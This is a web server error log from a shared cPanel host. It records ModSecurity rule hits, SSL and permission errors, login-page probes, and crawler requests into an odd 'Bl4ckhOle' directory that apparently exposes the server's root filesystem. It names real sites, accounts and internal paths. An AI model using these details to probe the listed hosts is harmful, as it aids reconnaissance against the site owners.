[Fri Jul 17 10:02:22.268362 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:22.268393 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:22.268424 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:22.268455 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:22.268486 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:22.268525 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:22.268556 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:22.268586 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:22.268617 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:22.268677 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:22.268713 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:22.268743 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:22.268773 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:22.390464 2026] [security2:error] [pid 2064879:tid 2064879] [client 66.132.186.194:29142] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/cgi-sys/suspendedpage.cgi"] [unique_id "almwVmTem5UnhuySh-0nbgAAAAA"], referer: https://66.85.158.91:8443/favicon.ico
[Fri Jul 17 10:02:22.405306 2026] [cgi:error] [pid 2064879:tid 2064879] [client 66.132.186.194:29142] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden, referer: https://66.85.158.91:8443/favicon.ico
[Fri Jul 17 10:02:22.405394 2026] [cgi:error] [pid 2064879:tid 2064879] [client 66.132.186.194:29142] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157., referer: https://66.85.158.91:8443/favicon.ico
[Fri Jul 17 10:02:22.800810 2026] [ssl:error] [pid 2064882:tid 2064882] (70014)End of file found: [client 66.85.158.91:41288] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:23.184067 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:24.074437 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:24.582121 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:24.918284 2026] [security2:error] [pid 2063883:tid 2063883] [client 57.141.18.41:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory109/node0/memory9/subsystem/devices/memory60/node0/memory68/"] [unique_id "almwWFWVGD3EZW05fn30CQAAAAI"]
[Fri Jul 17 10:02:24.918394 2026] [security2:error] [pid 2063883:tid 2063883] [client 57.141.18.41:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory109/node0/memory9/subsystem/devices/memory60/node0/memory68/"] [unique_id "almwWFWVGD3EZW05fn30CQAAAAI"]
[Fri Jul 17 10:02:25.302798 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:25.422786 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:25.878640 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:26.533288 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:41428] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:28.349958 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:41572] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:28.447446 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:41588] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:28.751718 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:41620] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:30.223074 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:41678] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:30.580470 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:41696] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:31.284170 2026] [security2:error] [pid 2018768:tid 2018768] [client 66.132.186.194:49822] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/version"] [unique_id "almwX1CBpfuYyhJ140ve3QAAAB4"]
[Fri Jul 17 10:02:31.380344 2026] [core:error] [pid 2064883:tid 2064883] (13)Permission denied: [client 66.132.186.194:49832] AH00035: access to /400.shtml denied (filesystem path '/home/cloudtourssrilan/public_html/400.shtml') because search permissions are missing on a component of the path
[Fri Jul 17 10:02:32.124469 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:57868] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:32.250614 2026] [core:error] [pid 2063436:tid 2063436] (13)Permission denied: [client 57.141.18.124:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory133/node0/memory142/node0/cpu3/subsystem/drivers_probe
[Fri Jul 17 10:02:33.869705 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:58142] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:34.266213 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:34.505833 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:35.712548 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:35.714400 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:36.655243 2026] [ssl:error] [pid 2064882:tid 2064882] (70014)End of file found: [client 66.85.158.91:58282] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:36.817137 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:58292] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:37.120111 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:58310] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:37.889928 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:58368] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:39.371189 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:58436] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:41.943882 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:43746] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:42.243669 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:43792] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:42.516833 2026] [mime:warn] [pid 2064882:tid 2064882] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:42.520818 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:42.544497 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:43836] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:42.967556 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:43900] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:43.430568 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:43.825394 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:43.842128 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:43.941902 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:43.967426 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:44.070445 2026] [mime:warn] [pid 2064882:tid 2064882] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:44.164545 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:44.188742 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:44.213802 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:44.223533 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:44.303621 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:44.440389 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:44.470904 2026] [mime:warn] [pid 2064882:tid 2064882] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:44.470927 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:44.516680 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:44.579245 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:44.701576 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:44.815131 2026] [ssl:error] [pid 2065296:tid 2065296] (70014)End of file found: [client 66.85.158.91:43976] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:44.840679 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:45.721505 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:45.830056 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:46.050381 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:46.168978 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:46.177748 2026] [mime:warn] [pid 2064882:tid 2064882] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:46.249391 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:46.277599 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:46.312946 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:46.400933 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:46.402716 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:46.448014 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:46.475261 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:46.588012 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:46.691795 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:46.702561 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:46.785959 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:46.796466 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:46.822010 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:46.918884 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:46.924471 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:46.927696 2026] [core:error] [pid 2050576:tid 2050576] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/drivers/ac/bind
[Fri Jul 17 10:02:46.994235 2026] [core:error] [pid 2063463:tid 2063463] (13)Permission denied: [client 47.82.53.69:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:28/subsystem/ttyS0/device/driver/uevent
[Fri Jul 17 10:02:46.998484 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:47.000913 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:47.152580 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:47.153990 2026] [proxy_fcgi:error] [pid 2063883:tid 2063883] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:47.683820 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:44090] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:48.424504 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:48.455977 2026] [mime:warn] [pid 2064882:tid 2064882] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:48.538226 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:44136] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:48.540205 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:48.628522 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:48.666528 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:48.731157 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:48.839719 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:48.893155 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:48.952908 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:51.057102 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:44230] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:52.134614 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:57220] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:53.118398 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:57256] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:53.142880 2026] [security2:error] [pid 2060590:tid 2060590] [client 165.56.14.59:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/xmlrpc.php"] [unique_id "almwdHv42nOn2tp5Eua16wAAABA"]
[Fri Jul 17 10:02:53.142912 2026] [security2:error] [pid 2060590:tid 2060590] [client 165.56.14.59:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/xmlrpc.php"] [unique_id "almwdHv42nOn2tp5Eua16wAAABA"]
[Fri Jul 17 10:02:54.495806 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:57320] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:54.570844 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:57348] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:56.032486 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:57408] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:03:01.034262 2026] [security2:error] [pid 2039911:tid 2039911] [client 57.141.18.30:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory128/node0/memory100/node0/memory50/power/"] [unique_id "almwfZBVIrrUwtEhdafdRQAAAAU"]
[Fri Jul 17 10:03:01.034314 2026] [security2:error] [pid 2039911:tid 2039911] [client 57.141.18.30:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory128/node0/memory100/node0/memory50/power/"] [unique_id "almwfZBVIrrUwtEhdafdRQAAAAU"]
[Fri Jul 17 10:03:02.446388 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:47830] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:03:02.550415 2026] [security2:error] [pid 2065296:tid 2065296] [client 45.61.187.148:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/wp-login.php"] [unique_id "almwfqalZQB2GOvLY17clQAAAAc"]
[Fri Jul 17 10:03:03.526595 2026] [security2:error] [pid 2065296:tid 2065296] [client 45.61.187.148:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/wp-login.php"] [unique_id "almwfqalZQB2GOvLY17clQAAAAc"]
[Fri Jul 17 10:03:08.901911 2026] [security2:error] [pid 2063889:tid 2063889] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almwhOm5CUZD8nfUE72vGwAAAAo"]
[Fri Jul 17 10:03:08.903073 2026] [security2:error] [pid 2063889:tid 2063889] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almwhOm5CUZD8nfUE72vGwAAAAo"]
[Fri Jul 17 10:03:08.903444 2026] [security2:error] [pid 2063889:tid 2063889] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almwhOm5CUZD8nfUE72vGwAAAAo"]
[Fri Jul 17 10:03:09.725245 2026] [security2:error] [pid 2063895:tid 2063895] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almwhRf3V7HXByUCfDSxtgAAABY"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:03:09.725282 2026] [security2:error] [pid 2063895:tid 2063895] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almwhRf3V7HXByUCfDSxtgAAABY"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:03:10.475115 2026] [security2:error] [pid 2063883:tid 2063883] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almwhlWVGD3EZW05fn30LAAAAAI"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:03:10.475147 2026] [security2:error] [pid 2063883:tid 2063883] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almwhlWVGD3EZW05fn30LAAAAAI"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:03:18.434280 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:18.434373 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:18.519876 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:18.519968 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:18.520019 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:18.520084 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:18.520130 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:18.520184 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:18.736469 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:18.736583 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:18.736635 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:18.736672 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:18.736705 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:18.736736 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:18.736777 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:18.736821 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:18.736850 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
